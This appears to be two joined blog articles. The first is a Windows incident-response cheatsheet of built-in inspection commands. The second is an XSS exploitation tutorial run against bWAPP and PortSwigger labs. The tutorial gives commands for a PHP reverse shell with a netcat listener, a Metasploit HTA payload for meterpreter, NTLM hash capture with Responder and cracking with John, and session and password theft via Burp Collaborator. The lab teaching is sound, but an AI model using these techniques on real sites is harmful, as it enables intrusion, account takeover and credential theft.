Incident Response- Windows Cheatsheet


For some people who use their computer systems, their systems might seem normal to them, but they might never realise that there could be something really phishy or even that fact that their systems could have been compromised. Making use of Incident Response a large amount of attacks at the primary level could be detected. The investigation can be carried out to obtain any digital evidence.
This article mainly focuses on Incident response for Windows systems. So, lets begin with this cheat sheet to get you going.
Table of Contents
·        What is Incident Response
·        User Accounts
·        Processes
·        Services
·        Task Scheduler
·        Startup
·        Registry Entries
·        Active TCP & UDP ports
·        File Shares
·        Files
·        Firewall Settings
·        Sessions with other Systems
·        Open Sessions
·        Log Entries

What is Incident Response?
Incident response can be defined as a course of action that is taken whenever a computer or network security incident occurs.
The security events that could have occurred:
·         Unauthorized use of system privileges and sensitive data
·         Any cause of System crashes or flooding of packets
·         Presence of a malware or any malicious program

User Accounts
In Incident response it is very necessary to investigate the user activity. It is used to find if there is any suspicious user account is present or any restricted permissions have been assigned to a user. By checking the user account one can be able to get answers to the questions like which user is currently logged in and what kind of a user account one has.
The ways one can view the user accounts are:
To view the local user accounts in GUI, press ‘Windows+R’, then type
 lusrmgr.msc


Now click on ‘okay’, and here you will be able to see the user accounts and their descriptions.


To now see the user accounts for the system and the type of account it is. Run command prompt as administrator and type command
 net user


Net localgroup groupname is used in order to manage local user groups on a system. By using this command, an administrator can add local or domain users to a group, delete users from a group, create new groups and delete existing groups.
Open Command prompt and run as an administrator then type
net local group administrators


To see the local user accounts, with their names, if they are enabled and their description. Run PowerShell as an administrator, type
Get-LocalUser


Processes
In order to get the list of all the processes running on the system, you can use ‘tasklist’ command for this purpose. By making use of this command you can get +-a list of the processes the memory space used, running time, image file name, services running in the process etc
To view the processes, you can use the following methods; To view the running processes in a GUI, press ‘Windows+R’, then type
 taskmgr.exe


Now click on ‘OK’ and you will be able to see all the running processes in your system and will be able to check if there is any unnecessary process running.


To see all the running processes with their Process ID (PID) and their session name and the amount of memory used. Run command prompt as an administrator and type
tasklist


To gets a list of all active processes running on the local computer Run PowerShell as an administrator and type
get-Process


Windows system have an extremely powerful tool with the Windows Management Instrumentation Command (WMIC). Wmic is every useful when it comes to incident response. This tool is enough to notice some abnormal signs in the system. This command can be used in the Command-prompt as well as PowerShell when run as an administrator. The syntax is wmic process list full


After you determine which process is performing a strange network activity. To get more details about the parent process IDs, Name of the process and the process ID, open PowerShell as an administrator and type
wmic process get name,parentprocessid,processid


To get the path of the Wmic process, open PowerShell and type
wmic process where 'ProcessID=PID’ get commandline


Services
To identify if there is any abnormal service running in your system or some service is not functioning properly, you can view your services.
To view all the services in GUI, press ‘Windows+R’ and type
services.msc


Now click on ‘Ok’ to see the list of processes.

To start and view the list of services that are currently running in your system, open command prompt as an administrator, type
Net start


To view whether a service is running and to get its more details like its service name, display name, etc.


If you want a list of running processes with their associated services in the command prompt, run command prompt as an administrator, then type
tasklist /svc


Task Scheduler
Task Scheduler is a component in the Windows which provides the ability to schedule the launch of programs or any scripts at a pre-defined time or after specified time intervals. You can view these scheduled tasks which are of high privileges and look suspicious.
To view the task Scheduler in GUI, then go the path and press enter. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools


To view the schedule tasks in the command prompt, run command prompt as an administrator, type
schtask



Startup
The startup folder in Windows, automatically runs applications when you log on. So, an incident handler, you should observe the applications that auto start.
To view the applications in Startup menu in GUI, open the task manager and click on the ‘Startup’ menu. By doing this, you can see which applications are enabled and disabled on startup. On opening the following path, it will give you the same option
dir /s /b "C:\Users\raj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"





To view, the startup applications in the PowerShell run the PowerShell as an administrator, type
wmic startup get caption,command


To get a detailed list of the AutoStart applications in PowerShell, you can run it as an administrator and type
Get-CimInstance Win32_StartupCommand | Select-Object Name, command, Location, User | Format-List


Registry Entries
Sometimes if there is a presence of unsophisticated malware it can be found by taking a look at the Windows Registry's run key.
To view the GUI of the registry key, you can open REGEDIT reach the run key manually.


You can also view the registry of the Local Machine of the Run key in the PowerShell, by running it as an administrator and then type
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


You can also view the registry of the Current User of the Run key in the PowerShell, by running it as an administrator and then type
reg query HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


Active TCP & UDP ports
As an Incident Responder you should carefully pay attention to the active TCP and UDP ports of your system.
The network statistics of a system can be using a tool. The criteria tested are incoming and outgoing connections, routing tables, port listening, and usage statistics. Open the command prompt, type
netstat -ano


Well, this can also be checked in the PowerShell with a different command to see the IP and the local ports. Run PowerShell and type
Get-NetTCPConnection -LocalAddress 192.168.0.110 | Sort-Object LocalPort


File sharing
As an incident responder you should make sure that every file share is accountable and reasonable and there in no unnecessary file sharing.
In order to check up on the file sharing options in command prompt, type
net view \\


To see the file sharing in PowerShell, you can type
 Get -SMBShare


Files
To view the files which could be malicious or end with a particular extension, you can use ‘forfiles’ command. Forfiles is a command line utility software. It was shipped with Microsoft Windows Vista. During that time, management of multiples files through the command line was difficult as most of the commands at that time we made to work on single files
To view the .exe files with their path to locate them in the command prompt, type
 forfiles /D -10 /S /M *.exe /C "cmd /c echo @path


To View files without its path and more details of the particular file extension and its modification date, type
forfiles /D -10 /S /M *.exe /C "cmd /c echo @ext @fname @fdate"


To check for files modified in the last 10 days type
 forfiles /p c: /S /D -10


To check for file size below 6MB, you can use the file explorer’s search box and enter
size:>6M


Firewall Settings
The incident responder should pay attention to the firewall configurations and settings and should maintain it regularly.
To view the firewall configurations and the inbound and outbound traffic in the command prompt, type
netsh firewall show config


To view the firewall settings of the current profile in the command prompt, type
netsh advfirewall show currentprofile


Sessions with other Systems
To check the session details that are created with other systems, you can run command prompt and  type
net use


Open Sessions
To see any open sessions of your system, you can get the details about the duration of the session run the command prompt and type
 net session


Log Entries
To view the log entries in GUI you can open the event viewer and see the logs.  Press ‘Windows+ R’ and type
eventvwr.msc


To export certain logs of a particular event in command prompt type
wevtutil qe security


To get the event log list in the PowerShell, type
Get-EventLog -list
And type the particular event in the supply value and you will get event details of that particular event.


Conclusion
Hence, one can make use these commands as an incident responder and keep their systems away from threat.

Cross-Site Scripting Exploitation

“Are you one of them, who thinks that Cross-Site Scripting is just for some errors or pop-ups on the screen?” Yes?? Then today in this article, you’ll see how an XSS suffering web-page is not only responsible for the defacement of the web-application but also, it could disrupt a visitor’s privacy by sharing the login credentials or his authenticated cookies to an attacker without his/her concern.

I recommend, to revisit our previous article for better understanding, before going deeper with the attack scenarios implemented in this section.

Table of Content
·         Introduction to Cross-Site Scripting
·         XSS Post Exploitation
o   XSS through File Upload
o   Reverse Shell with XSS
o   System Hijacking over XSS
o   User-Accounts Manipulation with XSS
o   NTLM Hash Capture with XSS
o   Session Hijacking with Burp Collaborator

o   Credential Capturing with Burp Collaborator

Introduction to Cross-Site Scripting
Cross-Site Scripting is a client-side code injection attack where malicious scripts are injected into trusted websites.
In this attack, the users are not directly targeted through a payload, although the attacker shoots the XSS vulnerability by inserting a malicious script into a web page that appears to be a genuine part of the website. So, when any user visits that website, the XSS suffering web-page will deliver the malicious JavaScript code directly over to his browser without his knowledge.

 “XSS” thus has been classified into three main categories:

·         Stored XSS
·         Reflected XSS
·         DOM-based XSS


I guess you’re now having a clear vision about -“What is XSS” and “How it occurs”. So let’s try to exploit the vulnerable labs over The Portswigger Academy and bWAPP in order to capture up the authenticated cookie of the users and the server’s remote shell.

But before making our hands wet with the exploits, let’s understand what is Blind XSS?

Blind XSS

Many times the attacker does not know where the payload will end up and if, or when, it will get executed and even there are times when the injected payload is executed in a different environment i.e. either by the administrator or by someone else.
So, in order to exploit such vulnerabilities - He blindly deploys up the series of malicious payloads over onto the web-applications, and thus the application stores them into the database. Thereby, he thus waits, until the user pulls the payload out from the database and renders it up into his/her browser.

Let’s Start !!




XSS through File Upload
Web-applications somewhere or the other allow its users to upload a file, whether its an image, a resume, a song, or anything specific. And with every upload, the name reflects back on the screen as it was called from the HTML code.


As the name appears back, therefore we can now execute any JavaScript code by simply manipulating up the file name with any XSS payload.


Boot back into the bWAPP’s application by selecting the “Choose your bug” option to “Unrestricted File Upload” and for this time we’ll keep the security to “High”.

Let’s now upload our renamed file over into the web-application, by browsing it from the directory.


Great !! Form the above image, you can see that our file name is over on the screen. So as we hit the Upload button, the browser will execute up the embedded JavaScript code and we’ll get the response.




Reverse Shell with XSS
Generating a pop-up or redirecting a user to some different application with the XSS vulnerability is somewhere or the other seems to be harmless. But what, if the attacker is able to capture up a reverse shell, will It still be harmless? Let’s see how we could do this.

Fire up your Kali terminal and then create up a reverse-php payload by calling it from webshells  directory as
cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/ReverseXSS.php


Now, in order to capture the remote shell, let’s manipulate the $ip parameter with the Kali machine’s IP



Back into the vulnerable application, let’s opt the “Unrestricted File Upload” and then further we’ll include the ReverseXSS.php file.
Don’t forget to copy the Uploaded URL, i.e. right-click on the Upload button and choose the Copy Link Location.



Great!! We’re almost done, time to inject our XSS payload. Now, with the “Choose you bug” option, opt the XSS – Stored (Blog).

Over into the comment section, type your JavaScript payload with the “File-Upload URL”.
But wait!! Before firing the submit button, let’s start our Netcat listener

nc –lvp 1234


Cool !! From the below image, you can see that, we are into our targeted web-server.


I’m sure you might be wondering - Why I made a round trip in order to capture up the Reverse Shell when I’m having the “File Upload” vulnerability open?

Okay!! So, think for a situation, if you upload the file directly and you’ve successfully grabbed up the Reverse shell. But wait!! Over in the victim’s network, your IP is disclosed and you’re almost caught or what if your Ip address is not whitelisted. Then?
Over in such a situation, taking the round trip is the most preferable option, as you’ll get the reverse connection into the victim’s server through the authorized user.


System Hijacking Over XSS
In the last section, we captured the reverse shell, but what, if rather than the server’s shell, the attacker managed to get up the meterpreter session of the visitor who surfs this vulnerable web-page?

Let’s check it out how – To make it more clear we’re having:
Attacker’s machine: Kali Linux
Vulnerable Web-application: bWAPP(bee-box)
Visitor’s machine: Windows

So, the attacker first creates up an hta file i.e. an HTML Application over with the Metasploit framework, that when opened by the victim will thus execute up a payload via Powershell.

use exploit/windows/misc/hta_server
set srvhost 192.168.0.12
exploit


Great!! He got the payload URL, now what he does is, he simply embed it into the XSS suffering web-page and will wait for the visitor.



Now, whenever any visitor visits this web-page, the browser will thus execute the malicious script and will download the HTA file over into his machine.


Cool !! From the above image, you can see that the file has been downloaded into the system. Now, as soon as the victim boots it up to check out what it is, there on the other side, the attacker will get his meterpreter session.



User-Accounts Manipulation with XSS
Wouldn't it great, if you’re able to manipulate the password of the user or the registered email address with your own, without his concern?
Web-applications that are suffering from XSS and CSRF vulnerability permits you to do so.
Boot inside the vulnerable web-application bWAPP as bee: bug, further select “CSRF (Change Password)” from the “Choose your bug” option.

This selection will thus redirect you to a CSRF suffering web-page, where there is an option to change the account password.
So as we enter or sets up a new password, the passing value thus reflects back into the URL as the password is changed to “12345”.



Copy the password URL and manipulate the password_new and the password_conf values to the one which we want to set for the visitor. As in our case, I made it to “ignite”.


Now, its time to inject our script into the XSS suffering web-page with the “image” tag.


Now, let’s consider a visitor is surfing the website and he visits this vulnerable section. As soon as he do so, the browser executes the javascript embedded payload and will consider it as a genuine request by the visitor i.e. it will change the password to “ignite”.



Great !! He did that, now whenever he logs in again with his old password, he won’t be able to as his password has been changed without his concern.



But the attacker can log in into the account, as he is having the new password i.e. “ignite”.


NTLM Hash Capture with XSS
An XSS vulnerability is often known for its pop-ups, but sometimes attacker manipulates these pop-up in order to catch up sensitive data of the users i.e. session cookies, account credentials or whatever they wish to.
Here an attacker thus tries to capture the NTLM hashes of the visitors by injecting his malicious Javascript code into the vulnerable application.

In order to carry this up, he enables up the “Responder” over in his attacking machine, which will thus grab up all the authenticated NTLM hashes.

Responder –I eth0



Further, he simply injects his malicious script into the XSS suffering web-page with an “iframe”



Cool !! Its time to wait for the visitor. Now as the visitor visits this web-page he got encountered with a pop-up asking for the credentials.


As soon as he enters his system credentials, the web-page thus reloads and the attacker will have his NTLM hash.


It’s not the end. He needs to crack this up. Therefore over in the new terminal, he directed himself to the directory where the hash is stored.

cd /usr/share/responder/logs


Further, he makes up a new password file as “pass.txt”


Great!! His work is done now. He simply embeds the password file and the hash file over into “John The Ripper” and there he’ll get the authorized session.

john --wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt




Session Hijacking with Burp Collaborator Client

As in our previous article, we were stealing cookies, but, impersonating as an authenticated user, where we’ve kept our netcat listener “ON” and on the other side we logged in as a genuine user.

But in the real-life scenarios, things don’t work this way, there are times when we could face blind XSS i.e. we won’t know, when our payload will get executed.

Thus in order to exploit this Blind XSS vulnerability, let’s checkout one of the best burpsuite’s plugin i.e. the “Burp Collaborator Client”

Don’t know what is Burp Collaborator? Follow up with this section, and I’m sure you’ll get the basic knowledge about it.

Login into the PortSwigger academy and drop down till Cross-Site Scripting and further get into its “Exploiting cross-site scripting vulnerabilities”, choose the first lab as “Exploiting cross-site scripting to steal cookies” and hit “Access the lab” button.


Here you’ll now be redirected to blog. As to go further, I’ve opened a post there and checked out for its content.


While scrolling down, over at the bottom, I found a comment section, which seems to have multiple inputs fields, i.e. there is a chance that we could have an XSS vulnerability exists.
 



Now its time to bring “Burp Collaborator Client” in the picture. Tune in your “Burpsuite” and there on the left-hand side click on “Burp”, further then opt the “Burp Collaborator Client”.


Over into the Collaborator Client window, at the “Generate Collaborator payloads” section, hit the Copy to clipboard button which will thus copy a payload for you.



Cool!! Now, come back to the “Comment Section” into the blog, enter the following script with your Burp Collaborator payload:



Great!! From the below image, you can see that our comment has been posted successfully.



Time to wait!! Click on the Poll button in order to grab up the payload-interaction result.

Oops!! We got a long list, select the HTTP one and check its “Response”. From the below image you can see that in the response section we’ve got a “Session Id”. Copy it for now !!



Now, back into the browser, configure your proxy and over in the burpsuite turn you Intercept “ON”.
Reload the page and check the intercepted Request.


Great!! We’re having a Session ID here too, simply manipulate it up with the one we copied earlier from the collaborator.


Hit the Forward button, and check what the web-application offers you.



Credential Capturing with Burp Collaborator
Why capture up the session cookies, if you could get the username & passwords directly??
Similar to the above section, it’s not necessary, that our payload will execute over at the same place, where it was injected.

Let’s try to capture some credentials over as in some real-life situation, where the web-page is suffering from the Stored XSS vulnerability.

Back into the PortSwigger account choose the next defacement as “Exploiting cross-site scripting to capture passwords”.


As we hit “Access The Lab”, we’ll get redirected to the XSS suffering web-page. To enhance more, I’ve again opened up a blog-post there.


Scrolling the page again, I got encountered with the same “comment section.” Let’s exploit it out again.


Back into the “Burp Collaborator”, let’s Copy the payload again by hitting “Copy to Clipboard”.



All we need was that payload only, now inject the comment field with the following XSS payload.



Let’s hit the “Post Comment” in order to check whether it is working or not. The below image clears up that our comment has been posted successfully.



Now let’s wait over into the “burp Collaborator” for the results. From the below image you can see that our payload has been executed at some point.
Let’s check who did that.


Oops!! It’s the administrator, we’re having some credentials.
But where we could use them?
Over at the top of the blog, there was an account login section, let’s check it there.



Cool!! Let’s try to make a dry run over here. Tune in your proxy and capture up the ongoing HTTP Request.




Okay !! Let’s manipulate the username and password with the one we captured earlier in the Burp Collaborator.


Great!! Now simply hit the Forward button and there you go….